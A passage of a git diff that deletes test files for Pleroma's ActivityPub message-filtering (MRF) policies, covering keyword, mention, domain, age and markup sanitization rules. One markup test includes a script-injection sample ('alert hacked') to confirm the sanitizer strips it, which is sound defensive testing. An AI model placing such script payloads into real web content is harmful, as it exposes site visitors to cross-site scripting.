Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], ["pun"]) - - message = %{ - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "type" => "Create", - "object" => %{ - "content" => "just a daily reminder that compLAINer is a good pun", - "summary" => "" - } - } - - {:ok, result} = KeywordPolicy.filter(message) - assert ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] - refute ["https://www.w3.org/ns/activitystreams#Public"] == result["to"] - end - - test "delists if string matches in summary" do - Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], ["pun"]) - - message = %{ - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "type" => "Create", - "object" => %{ - "summary" => "just a daily reminder that compLAINer is a good pun", - "content" => "" - } - } - - {:ok, result} = KeywordPolicy.filter(message) - assert ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] - refute ["https://www.w3.org/ns/activitystreams#Public"] == result["to"] - end - - test "delists if regex matches in content" do - Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], [~r/comp[lL][aA][iI][nN]er/]) - - assert true == - Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{ - "content" => "just a daily reminder that #{content} is a good pun", - "summary" => "" - } - } - - {:ok, result} = KeywordPolicy.filter(message) - - ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] and - not (["https://www.w3.org/ns/activitystreams#Public"] == result["to"]) - end) - end - - test "delists if regex matches in summary" do - Pleroma.Config.put([:mrf_keyword, :federated_timeline_removal], [~r/comp[lL][aA][iI][nN]er/]) - - assert true == - Enum.all?(["complainer", "compLainer", "compLAiNer", "compLAINer"], fn content -> - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{ - "summary" => "just a daily reminder that #{content} is a good pun", - "content" => "" - } - } - - {:ok, result} = KeywordPolicy.filter(message) - - ["https://www.w3.org/ns/activitystreams#Public"] == result["cc"] and - not (["https://www.w3.org/ns/activitystreams#Public"] == result["to"]) - end) - end - end - - describe "replacing keywords" do - test "replaces keyword if string matches in content" do - Pleroma.Config.put([:mrf_keyword, :replace], [{"opensource", "free software"}]) - - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{"content" => "ZFS is opensource", "summary" => ""} - } - - {:ok, %{"object" => %{"content" => result}}} = KeywordPolicy.filter(message) - assert result == "ZFS is free software" - end - - test "replaces keyword if string matches in summary" do - Pleroma.Config.put([:mrf_keyword, :replace], [{"opensource", "free software"}]) - - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{"summary" => "ZFS is opensource", "content" => ""} - } - - {:ok, %{"object" => %{"summary" => result}}} = KeywordPolicy.filter(message) - assert result == "ZFS is free software" - end - - test "replaces keyword if regex matches in content" do - Pleroma.Config.put([:mrf_keyword, :replace], [ - {~r/open(-|\s)?source\s?(software)?/, "free software"} - ]) - - assert true == - Enum.all?(["opensource", "open-source", "open source"], fn content -> - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{"content" => "ZFS is #{content}", "summary" => ""} - } - - {:ok, %{"object" => %{"content" => result}}} = KeywordPolicy.filter(message) - result == "ZFS is free software" - end) - end - - test "replaces keyword if regex matches in summary" do - Pleroma.Config.put([:mrf_keyword, :replace], [ - {~r/open(-|\s)?source\s?(software)?/, "free software"} - ]) - - assert true == - Enum.all?(["opensource", "open-source", "open source"], fn content -> - message = %{ - "type" => "Create", - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "object" => %{"summary" => "ZFS is #{content}", "content" => ""} - } - - {:ok, %{"object" => %{"summary" => result}}} = KeywordPolicy.filter(message) - result == "ZFS is free software" - end) - end - end -end diff --git a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs b/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs deleted file mode 100644 index 1710c4d2a..000000000 --- a/test/web/activity_pub/mrf/mediaproxy_warming_policy_test.exs +++ /dev/null @@ -1,53 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicyTest do - use Pleroma.DataCase - - alias Pleroma.HTTP - alias Pleroma.Tests.ObanHelpers - alias Pleroma.Web.ActivityPub.MRF.MediaProxyWarmingPolicy - - import Mock - - @message %{ - "type" => "Create", - "object" => %{ - "type" => "Note", - "content" => "content", - "attachment" => [ - %{"url" => [%{"href" => "http://example.com/image.jpg"}]} - ] - } - } - - setup do: clear_config([:media_proxy, :enabled], true) - - test "it prefetches media proxy URIs" do - with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do - MediaProxyWarmingPolicy.filter(@message) - - ObanHelpers.perform_all() - # Performing jobs which has been just enqueued - ObanHelpers.perform_all() - - assert called(HTTP.get(:_, :_, :_)) - end - end - - test "it does nothing when no attachments are present" do - object = - @message["object"] - |> Map.delete("attachment") - - message = - @message - |> Map.put("object", object) - - with_mock HTTP, get: fn _, _, _ -> {:ok, []} end do - MediaProxyWarmingPolicy.filter(message) - refute called(HTTP.get(:_, :_, :_)) - end - end -end diff --git a/test/web/activity_pub/mrf/mention_policy_test.exs b/test/web/activity_pub/mrf/mention_policy_test.exs deleted file mode 100644 index 220309cc9..000000000 --- a/test/web/activity_pub/mrf/mention_policy_test.exs +++ /dev/null @@ -1,96 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.MentionPolicyTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.MRF.MentionPolicy - - setup do: clear_config(:mrf_mention) - - test "pass filter if allow list is empty" do - Pleroma.Config.delete([:mrf_mention]) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/ok"], - "cc" => ["https://example.com/blocked"] - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - - describe "allow" do - test "empty" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create" - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - - test "to" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/ok"] - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - - test "cc" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "cc" => ["https://example.com/ok"] - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - - test "both" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/ok"], - "cc" => ["https://example.com/ok2"] - } - - assert MentionPolicy.filter(message) == {:ok, message} - end - end - - describe "deny" do - test "to" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/blocked"] - } - - assert MentionPolicy.filter(message) == - {:reject, "[MentionPolicy] Rejected for mention of https://example.com/blocked"} - end - - test "cc" do - Pleroma.Config.put([:mrf_mention], %{actors: ["https://example.com/blocked"]}) - - message = %{ - "type" => "Create", - "to" => ["https://example.com/ok"], - "cc" => ["https://example.com/blocked"] - } - - assert MentionPolicy.filter(message) == - {:reject, "[MentionPolicy] Rejected for mention of https://example.com/blocked"} - end - end -end diff --git a/test/web/activity_pub/mrf/mrf_test.exs b/test/web/activity_pub/mrf/mrf_test.exs deleted file mode 100644 index e8cdde2e1..000000000 --- a/test/web/activity_pub/mrf/mrf_test.exs +++ /dev/null @@ -1,90 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRFTest do - use ExUnit.Case, async: true - use Pleroma.Tests.Helpers - alias Pleroma.Web.ActivityPub.MRF - - test "subdomains_regex/1" do - assert MRF.subdomains_regex(["unsafe.tld", "*.unsafe.tld"]) == [ - ~r/^unsafe.tld$/i, - ~r/^(.*\.)*unsafe.tld$/i - ] - end - - describe "subdomain_match/2" do - test "common domains" do - regexes = MRF.subdomains_regex(["unsafe.tld", "unsafe2.tld"]) - - assert regexes == [~r/^unsafe.tld$/i, ~r/^unsafe2.tld$/i] - - assert MRF.subdomain_match?(regexes, "unsafe.tld") - assert MRF.subdomain_match?(regexes, "unsafe2.tld") - - refute MRF.subdomain_match?(regexes, "example.com") - end - - test "wildcard domains with one subdomain" do - regexes = MRF.subdomains_regex(["*.unsafe.tld"]) - - assert regexes == [~r/^(.*\.)*unsafe.tld$/i] - - assert MRF.subdomain_match?(regexes, "unsafe.tld") - assert MRF.subdomain_match?(regexes, "sub.unsafe.tld") - refute MRF.subdomain_match?(regexes, "anotherunsafe.tld") - refute MRF.subdomain_match?(regexes, "unsafe.tldanother") - end - - test "wildcard domains with two subdomains" do - regexes = MRF.subdomains_regex(["*.unsafe.tld"]) - - assert regexes == [~r/^(.*\.)*unsafe.tld$/i] - - assert MRF.subdomain_match?(regexes, "unsafe.tld") - assert MRF.subdomain_match?(regexes, "sub.sub.unsafe.tld") - refute MRF.subdomain_match?(regexes, "sub.anotherunsafe.tld") - refute MRF.subdomain_match?(regexes, "sub.unsafe.tldanother") - end - - test "matches are case-insensitive" do - regexes = MRF.subdomains_regex(["UnSafe.TLD", "UnSAFE2.Tld"]) - - assert regexes == [~r/^UnSafe.TLD$/i, ~r/^UnSAFE2.Tld$/i] - - assert MRF.subdomain_match?(regexes, "UNSAFE.TLD") - assert MRF.subdomain_match?(regexes, "UNSAFE2.TLD") - assert MRF.subdomain_match?(regexes, "unsafe.tld") - assert MRF.subdomain_match?(regexes, "unsafe2.tld") - - refute MRF.subdomain_match?(regexes, "EXAMPLE.COM") - refute MRF.subdomain_match?(regexes, "example.com") - end - end - - describe "describe/0" do - test "it works as expected with noop policy" do - clear_config([:mrf, :policies], [Pleroma.Web.ActivityPub.MRF.NoOpPolicy]) - - expected = %{ - mrf_policies: ["NoOpPolicy"], - exclusions: false - } - - {:ok, ^expected} = MRF.describe() - end - - test "it works as expected with mock policy" do - clear_config([:mrf, :policies], [MRFModuleMock]) - - expected = %{ - mrf_policies: ["MRFModuleMock"], - mrf_module_mock: "some config data", - exclusions: false - } - - {:ok, ^expected} = MRF.describe() - end - end -end diff --git a/test/web/activity_pub/mrf/no_placeholder_text_policy_test.exs b/test/web/activity_pub/mrf/no_placeholder_text_policy_test.exs deleted file mode 100644 index 64ea61dd4..000000000 --- a/test/web/activity_pub/mrf/no_placeholder_text_policy_test.exs +++ /dev/null @@ -1,37 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicyTest do - use Pleroma.DataCase - alias Pleroma.Web.ActivityPub.MRF.NoPlaceholderTextPolicy - - test "it clears content object" do - message = %{ - "type" => "Create", - "object" => %{"content" => ".", "attachment" => "image"} - } - - assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) - assert res["object"]["content"] == "" - - message = put_in(message, ["object", "content"], "<p>.</p>") - assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) - assert res["object"]["content"] == "" - end - - @messages [ - %{ - "type" => "Create", - "object" => %{"content" => "test", "attachment" => "image"} - }, - %{"type" => "Create", "object" => %{"content" => "."}}, - %{"type" => "Create", "object" => %{"content" => "<p>.</p>"}} - ] - test "it skips filter" do - Enum.each(@messages, fn message -> - assert {:ok, res} = NoPlaceholderTextPolicy.filter(message) - assert res == message - end) - end -end diff --git a/test/web/activity_pub/mrf/normalize_markup_test.exs b/test/web/activity_pub/mrf/normalize_markup_test.exs deleted file mode 100644 index 9b39c45bd..000000000 --- a/test/web/activity_pub/mrf/normalize_markup_test.exs +++ /dev/null @@ -1,42 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.NormalizeMarkupTest do - use Pleroma.DataCase - alias Pleroma.Web.ActivityPub.MRF.NormalizeMarkup - - @html_sample """ - <b>this is in bold</b> - <p>this is a paragraph</p> - this is a linebreak<br /> - this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a> - this is a link with not allowed "rel" attribute: <a href="http://example.com/" rel="tag noallowed">example.com</a> - this is an image: <img src="http://example.com/image.jpg"><br /> - <script>alert('hacked')</script> - """ - - test "it filter html tags" do - expected = """ - <b>this is in bold</b> - <p>this is a paragraph</p> - this is a linebreak<br/> - this is a link with allowed "rel" attribute: <a href="http://example.com/" rel="tag">example.com</a> - this is a link with not allowed "rel" attribute: <a href="http://example.com/">example.com</a> - this is an image: <img src="http://example.com/image.jpg"/><br/> - alert('hacked') - """ - - message = %{"type" => "Create", "object" => %{"content" => @html_sample}} - - assert {:ok, res} = NormalizeMarkup.filter(message) - assert res["object"]["content"] == expected - end - - test "it skips filter if type isn't `Create`" do - message = %{"type" => "Note", "object" => %{}} - - assert {:ok, res} = NormalizeMarkup.filter(message) - assert res == message - end -end diff --git a/test/web/activity_pub/mrf/object_age_policy_test.exs b/test/web/activity_pub/mrf/object_age_policy_test.exs deleted file mode 100644 index cf6acc9a2..000000000 --- a/test/web/activity_pub/mrf/object_age_policy_test.exs +++ /dev/null @@ -1,148 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.ObjectAgePolicyTest do - use Pleroma.DataCase - alias Pleroma.Config - alias Pleroma.User - alias Pleroma.Web.ActivityPub.MRF.ObjectAgePolicy - alias Pleroma.Web.ActivityPub.Visibility - - setup do: - clear_config(:mrf_object_age, - threshold: 172_800, - actions: [:delist, :strip_followers] - ) - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - defp get_old_message do - File.read!("test/fixtures/mastodon-post-activity.json") - |> Poison.decode!() - end - - defp get_new_message do - old_message = get_old_message() - - new_object = - old_message - |> Map.get("object") - |> Map.put("published", DateTime.utc_now() |> DateTime.to_iso8601()) - - old_message - |> Map.put("object", new_object) - end - - describe "with reject action" do - test "works with objects with empty to or cc fields" do - Config.put([:mrf_object_age, :actions], [:reject]) - - data = - get_old_message() - |> Map.put("cc", nil) - |> Map.put("to", nil) - - assert match?({:reject, _}, ObjectAgePolicy.filter(data)) - end - - test "it rejects an old post" do - Config.put([:mrf_object_age, :actions], [:reject]) - - data = get_old_message() - - assert match?({:reject, _}, ObjectAgePolicy.filter(data)) - end - - test "it allows a new post" do - Config.put([:mrf_object_age, :actions], [:reject]) - - data = get_new_message() - - assert match?({:ok, _}, ObjectAgePolicy.filter(data)) - end - end - - describe "with delist action" do - test "works with objects with empty to or cc fields" do - Config.put([:mrf_object_age, :actions], [:delist]) - - data = - get_old_message() - |> Map.put("cc", nil) - |> Map.put("to", nil) - - {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) - - {:ok, data} = ObjectAgePolicy.filter(data) - - assert Visibility.get_visibility(%{data: data}) == "unlisted" - end - - test "it delists an old post" do - Config.put([:mrf_object_age, :actions], [:delist]) - - data = get_old_message() - - {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) - - {:ok, data} = ObjectAgePolicy.filter(data) - - assert Visibility.get_visibility(%{data: data}) == "unlisted" - end - - test "it allows a new post" do - Config.put([:mrf_object_age, :actions], [:delist]) - - data = get_new_message() - - {:ok, _user} = User.get_or_fetch_by_ap_id(data["actor"]) - - assert match?({:ok, ^data}, ObjectAgePolicy.filter(data)) - end - end - - describe "with strip_followers action" do - test "works with objects with empty to or cc fields" do - Config.put([:mrf_object_age, :actions], [:strip_followers]) - - data = - get_old_message() - |> Map.put("cc", nil) - |> Map.put("to", nil) - - {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"]) - - {:ok, data} = ObjectAgePolicy.filter(data) - - refute user.follower_address in data["to"] - refute user.follower_address in data["cc"] - end - - test "it strips followers collections from an old post" do - Config.put([:mrf_object_age, :actions], [:strip_followers]) - - data = get_old_message() - - {:ok, user} = User.get_or_fetch_by_ap_id(data["actor"]) - - {:ok, data} = ObjectAgePolicy.filter(data) - - refute user.follower_address in data["to"] - refute user.follower_address in data["cc"] - end - - test "it allows a new post" do - Config.put([:mrf_object_age, :actions], [:strip_followers]) - - data = get_new_message() - - {:ok, _u} = User.get_or_fetch_by_ap_id(data["actor"]) - - assert match?({:ok, ^data}, ObjectAgePolicy.filter(data)) - end - end -end diff --git a/test/web/activity_pub/mrf/reject_non_public_test.exs b/test/web/activity_pub/mrf/reject_non_public_test.exs deleted file mode 100644 index 58b46b9a2..000000000 --- a/test/web/activity_pub/mrf/reject_non_public_test.exs +++ /dev/null @@ -1,100 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.RejectNonPublicTest do - use Pleroma.DataCase - import Pleroma.Factory - - alias Pleroma.Web.ActivityPub.MRF.RejectNonPublic - - setup do: clear_config([:mrf_rejectnonpublic]) - - describe "public message" do - test "it's allowed when address is public" do - actor = insert(:user, follower_address: "test-address") - - message = %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - assert {:ok, message} = RejectNonPublic.filter(message) - end - - test "it's allowed when cc address contain public address" do - actor = insert(:user, follower_address: "test-address") - - message = %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Public"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - assert {:ok, message} = RejectNonPublic.filter(message) - end - end - - describe "followers message" do - test "it's allowed when addrer of message in the follower addresses of user and it enabled in config" do - actor = insert(:user, follower_address: "test-address") - - message = %{ - "actor" => actor.ap_id, - "to" => ["test-address"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], true) - assert {:ok, message} = RejectNonPublic.filter(message) - end - - test "it's rejected when addrer of message in the follower addresses of user and it disabled in config" do - actor = insert(:user, follower_address: "test-address") - - message = %{ - "actor" => actor.ap_id, - "to" => ["test-address"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - Pleroma.Config.put([:mrf_rejectnonpublic, :allow_followersonly], false) - assert {:reject, _} = RejectNonPublic.filter(message) - end - end - - describe "direct message" do - test "it's allows when direct messages are allow" do - actor = insert(:user) - - message = %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Publid"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], true) - assert {:ok, message} = RejectNonPublic.filter(message) - end - - test "it's reject when direct messages aren't allow" do - actor = insert(:user) - - message = %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Publid~~~"], - "cc" => ["https://www.w3.org/ns/activitystreams#Publid"], - "type" => "Create" - } - - Pleroma.Config.put([:mrf_rejectnonpublic, :allow_direct], false) - assert {:reject, _} = RejectNonPublic.filter(message) - end - end -end diff --git a/test/web/activity_pub/mrf/simple_policy_test.exs b/test/web/activity_pub/mrf/simple_policy_test.exs deleted file mode 100644 index d7dde62c4..000000000 --- a/test/web/activity_pub/mrf/simple_policy_test.exs +++ /dev/null @@ -1,539 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.MRF.SimplePolicyTest do - use Pleroma.DataCase - import Pleroma.Factory - alias Pleroma.Config - alias Pleroma.Web.ActivityPub.MRF.SimplePolicy - alias Pleroma.Web.CommonAPI - - setup do: - clear_config(:mrf_simple, - media_removal: [], - media_nsfw: [], - federated_timeline_removal: [], - report_removal: [], - reject: [], - followers_only: [], - accept: [], - avatar_removal: [], - banner_removal: [], - reject_deletes: [] - ) - - describe "when :media_removal" do - test "is empty" do - Config.put([:mrf_simple, :media_removal], []) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == {:ok, media_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - Config.put([:mrf_simple, :media_removal], ["remote.instance"]) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == - {:ok, - media_message - |> Map.put("object", Map.delete(media_message["object"], "attachment"))} - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :media_removal], ["*.remote.instance"]) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == - {:ok, - media_message - |> Map.put("object", Map.delete(media_message["object"], "attachment"))} - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - end - - describe "when :media_nsfw" do - test "is empty" do - Config.put([:mrf_simple, :media_nsfw], []) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == {:ok, media_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - Config.put([:mrf_simple, :media_nsfw], ["remote.instance"]) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == - {:ok, - media_message - |> put_in(["object", "tag"], ["foo", "nsfw"]) - |> put_in(["object", "sensitive"], true)} - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :media_nsfw], ["*.remote.instance"]) - media_message = build_media_message() - local_message = build_local_message() - - assert SimplePolicy.filter(media_message) == - {:ok, - media_message - |> put_in(["object", "tag"], ["foo", "nsfw"]) - |> put_in(["object", "sensitive"], true)} - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - end - - defp build_media_message do - %{ - "actor" => "https://remote.instance/users/bob", - "type" => "Create", - "object" => %{ - "attachment" => [%{}], - "tag" => ["foo"], - "sensitive" => false - } - } - end - - describe "when :report_removal" do - test "is empty" do - Config.put([:mrf_simple, :report_removal], []) - report_message = build_report_message() - local_message = build_local_message() - - assert SimplePolicy.filter(report_message) == {:ok, report_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - Config.put([:mrf_simple, :report_removal], ["remote.instance"]) - report_message = build_report_message() - local_message = build_local_message() - - assert {:reject, _} = SimplePolicy.filter(report_message) - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "match with wildcard domain" do - Config.put([:mrf_simple, :report_removal], ["*.remote.instance"]) - report_message = build_report_message() - local_message = build_local_message() - - assert {:reject, _} = SimplePolicy.filter(report_message) - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - end - - defp build_report_message do - %{ - "actor" => "https://remote.instance/users/bob", - "type" => "Flag" - } - end - - describe "when :federated_timeline_removal" do - test "is empty" do - Config.put([:mrf_simple, :federated_timeline_removal], []) - {_, ftl_message} = build_ftl_actor_and_message() - local_message = build_local_message() - - assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - {actor, ftl_message} = build_ftl_actor_and_message() - - ftl_message_actor_host = - ftl_message - |> Map.fetch!("actor") - |> URI.parse() - |> Map.fetch!(:host) - - Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host]) - local_message = build_local_message() - - assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) - assert actor.follower_address in ftl_message["to"] - refute actor.follower_address in ftl_message["cc"] - refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] - assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "match with wildcard domain" do - {actor, ftl_message} = build_ftl_actor_and_message() - - ftl_message_actor_host = - ftl_message - |> Map.fetch!("actor") - |> URI.parse() - |> Map.fetch!(:host) - - Config.put([:mrf_simple, :federated_timeline_removal], ["*." <> ftl_message_actor_host]) - local_message = build_local_message() - - assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) - assert actor.follower_address in ftl_message["to"] - refute actor.follower_address in ftl_message["cc"] - refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] - assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host but only as:Public in to" do - {_actor, ftl_message} = build_ftl_actor_and_message() - - ftl_message_actor_host = - ftl_message - |> Map.fetch!("actor") - |> URI.parse() - |> Map.fetch!(:host) - - ftl_message = Map.put(ftl_message, "cc", []) - - Config.put([:mrf_simple, :federated_timeline_removal], [ftl_message_actor_host]) - - assert {:ok, ftl_message} = SimplePolicy.filter(ftl_message) - refute "https://www.w3.org/ns/activitystreams#Public" in ftl_message["to"] - assert "https://www.w3.org/ns/activitystreams#Public" in ftl_message["cc"] - end - end - - defp build_ftl_actor_and_message do - actor = insert(:user) - - {actor, - %{ - "actor" => actor.ap_id, - "to" => ["https://www.w3.org/ns/activitystreams#Public", "http://foo.bar/baz"], - "cc" => [actor.follower_address, "http://foo.bar/qux"] - }} - end - - describe "when :reject" do - test "is empty" do - Config.put([:mrf_simple, :reject], []) - - remote_message = build_remote_message() - - assert SimplePolicy.filter(remote_message) == {:ok, remote_message} - end - - test "activity has a matching host" do - Config.put([:mrf_simple, :reject], ["remote.instance"]) - - remote_message = build_remote_message() - - assert {:reject, _} = SimplePolicy.filter(remote_message) - end - - test "activity matches with wildcard domain" do - Config.put([:mrf_simple, :reject], ["*.remote.instance"]) - - remote_message = build_remote_message() - - assert {:reject, _} = SimplePolicy.filter(remote_message) - end - - test "actor has a matching host" do - Config.put([:mrf_simple, :reject], ["remote.instance"]) - - remote_user = build_remote_user() - - assert {:reject, _} = SimplePolicy.filter(remote_user) - end - end - - describe "when :followers_only" do - test "is empty" do - Config.put([:mrf_simple, :followers_only], []) - {_, ftl_message} = build_ftl_actor_and_message() - local_message = build_local_message() - - assert SimplePolicy.filter(ftl_message) == {:ok, ftl_message} - assert SimplePolicy.filter(local_message) == {:ok, local_message} - end - - test "has a matching host" do - actor = insert(:user) - following_user = insert(:user) - non_following_user = insert(:user) - - {:ok, _, _, _} = CommonAPI.follow(following_user, actor) - - activity = %{ - "actor" => actor.ap_id, - "to" => [ - "https://www.w3.org/ns/activitystreams#Public", - following_user.ap_id, - non_following_user.ap_id - ], - "cc" => [actor.follower_address, "http://foo.bar/qux"] - } - - dm_activity = %{ - "actor" => actor.ap_id, - "to" => [ - following_user.ap_id, - non_following_user.ap_id - ], - "cc" => [] - } - - actor_domain = - activity - |> Map.fetch!("actor") - |> URI.parse() - |> Map.fetch!(:host) - - Config.put([:mrf_simple, :followers_only], [actor_domain]) - - assert {:ok, new_activity} = SimplePolicy.filter(activity) - assert actor.follower_address in new_activity["cc"] - assert following_user.ap_id in new_activity["to"] - refute "https://www.w3.org/ns/activitystreams#Public" in new_activity["to"] - refute "https://www.w3.org/ns/activitystreams#Public" in new_activity["cc"] - refute non_following_user.ap_id in new_activity["to"] - refute non_following_user.ap_id in new_activity["cc"] - - assert {:ok, new_dm_activity} = SimplePolicy.filter(dm_activity) - assert new_dm_activity["to"] == [following_user.ap_id] - assert new_dm_activity["cc"] == [] - end - end - - describe "when :accept" do - test "is empty" do - Config.put([:mrf_simple, :accept], []) - - local_message = build_local_message() - remote_message = build_remote_message() - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - assert SimplePolicy.filter(remote_message) == {:ok, remote_message} - end - - test "is not empty but activity doesn't have a matching host" do - Config.put([:mrf_simple, :accept], ["non.matching.remote"]) - - local_message = build_local_message() - remote_message = build_remote_message() - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - assert {:reject, _} = SimplePolicy.filter(remote_message) - end - - test "activity has a matching host" do - Config.put([:mrf_simple, :accept], ["remote.instance"]) - - local_message = build_local_message() - remote_message = build_remote_message() - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - assert SimplePolicy.filter(remote_message) == {:ok, remote_message} - end - - test "activity matches with wildcard domain" do - Config.put([:mrf_simple, :accept], ["*.remote.instance"]) - - local_message = build_local_message() - remote_message = build_remote_message() - - assert SimplePolicy.filter(local_message) == {:ok, local_message} - assert SimplePolicy.filter(remote_message) == {:ok, remote_message} - end - - test "actor has a matching host" do - Config.put([:mrf_simple, :accept], ["remote.instance"]) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - end - - describe "when :avatar_removal" do - test "is empty" do - Config.put([:mrf_simple, :avatar_removal], []) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == {:ok, remote_user} - end - - test "is not empty but it doesn't have a matching host" do - Config.put([:mrf_simple, :avatar_removal], ["non.matching.remote"]) - - remote_user = build_remote_user() - - assert SimplePolicy.filter(remote_user) == 